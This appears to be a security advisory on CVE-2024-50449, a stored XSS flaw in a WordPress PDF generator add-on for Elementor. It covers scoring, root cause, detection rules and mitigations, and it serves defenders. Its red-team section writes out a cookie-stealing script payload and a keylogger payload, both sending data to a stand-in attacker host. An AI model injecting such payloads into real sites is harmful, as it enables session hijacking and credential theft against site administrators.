CVE-2024-50449

Executive Summary

CVE-2024-50449 is a Stored Cross-Site Scripting (XSS) vulnerability in the PDF Generator Addon for Elementor Page Builder WordPress plugin, developed by Redefiningtheweb. The flaw affects all versions up to and including 1.7.4. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into the plugin’s PDF generation functionality. When an administrator or other user views the generated PDF or the associated page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis. However, the lack of a patch and the plugin’s active install base make it a target for threat actors.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate: if the vendor’s repository or update mechanism is compromised, malicious updates could be pushed to all installations. Users should verify plugin integrity via checksums and monitor for unexpected updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin must view the generated PDF or page)
• Scope: Changed (vulnerability can impact resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the lack of a patch elevate the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability resides in the PDF generation functionality of the plugin. The plugin fails to properly sanitize user-supplied input before embedding it into the generated PDF document. Specifically, when a user with contributor-level access or higher creates or edits a page using the Elementor builder and includes the PDF Generator widget, the plugin does not neutralize HTML/JavaScript content in fields such as:

• Custom text fields
• File names
• Metadata fields

An attacker can inject a payload like:

<script>alert('XSS')</script>

or more sophisticated payloads that steal cookies or perform actions on behalf of the victim.

When an administrator or other user views the generated PDF (either inline in the browser or via a download), the injected script executes in the context of the WordPress admin panel, bypassing same-origin policies.

Root Cause: The plugin uses echo or print to output user input directly into the PDF template without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (pdf-generator-addon-for-elementor-page-builder <= 1.7.4):

// In the PDF generation function
$custom_text = $_POST['custom_text'];
echo "<p>$custom_text</p>";

Patched Code (hypothetical):

// In the PDF generation function
$custom_text = sanitize_text_field( $_POST['custom_text'] );
echo "<p>" . esc_html( $custom_text ) . "</p>";

The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with PDF Generator Addon for Elementor Page Builder <= 1.7.4 installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as a Contributor.
2. Create a new page using Elementor.
3. Add the PDF Generator widget.
4. In a text field (e.g., “Custom Header”), inject the payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the page and generate the PDF.
6. Send the PDF link to an administrator (e.g., via email or internal messaging).
7. When the admin views the PDF, the script executes, exfiltrating their session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor for unusual PDF generation requests from low-privileged users.
• Inspect PDF files for embedded JavaScript using tools like pdfid or peepdf.
• Review WordPress logs for suspicious wp_ajax or wp_post actions related to the plugin.

Hunting:

• Search for the plugin’s database entries containing <script> tags:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Check for outbound connections from the WordPress server to unknown domains (potential C2).

Indicators of Compromise (IOCs)

• File Hashes (PDF files): SHA256 of malicious PDFs (varies per payload).
• Network Indicators:
  • Outbound HTTP requests to attacker.com or similar domains.
  • Unusual POST requests to /wp-admin/admin-ajax.php with action pdf_generator_addon.
• Host Indicators:
  • Presence of <script> tags in wp_postmeta table.
  • Modified plugin files (check file integrity via md5sum).
• Log Entries:
  • WordPress debug log entries showing Undefined index or Direct injection warnings.

Detection Engineering

YARA Rule

rule CVE_2024_50449_Stored_XSS {
    meta:
        description = "Detects malicious PDF files generated by vulnerable PDF Generator Addon for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50449"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/is
        $pdf_header = "%PDF-1."
    condition:
        $pdf_header at 0 and #xss_payload > 0
}

Sigma Rule

title: CVE-2024-50449 Stored XSS via PDF Generator Addon
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of stored XSS in PDF Generator Addon for Elementor
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/wp-admin/admin-ajax.php"
        cs-method: "POST"
        cs-uri-query|contains: "action=pdf_generator_addon"
    keywords:
        - "<script>"
        - "onerror="
        - "onload="
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in PDF generation (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50449 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pdf_generator_addon"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. If disabling is not possible, restrict the plugin’s usage to trusted administrators only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in PDF generation parameters.

Long-term Fix:

• The vendor must release a patched version that properly sanitizes all user inputs using esc_html(), sanitize_text_field(), or wp_kses_post().
• Users should monitor the plugin’s page for updates and apply them immediately.

Workaround:

• Use a content security policy (CSP) header to block inline scripts:

  Content-Security-Policy: script-src 'self';
  

• Enable WordPress’s built-in DISALLOW_UNFILTERED_HTML constant for lower-privileged users.

Valters IT
Securing Digital Frontiers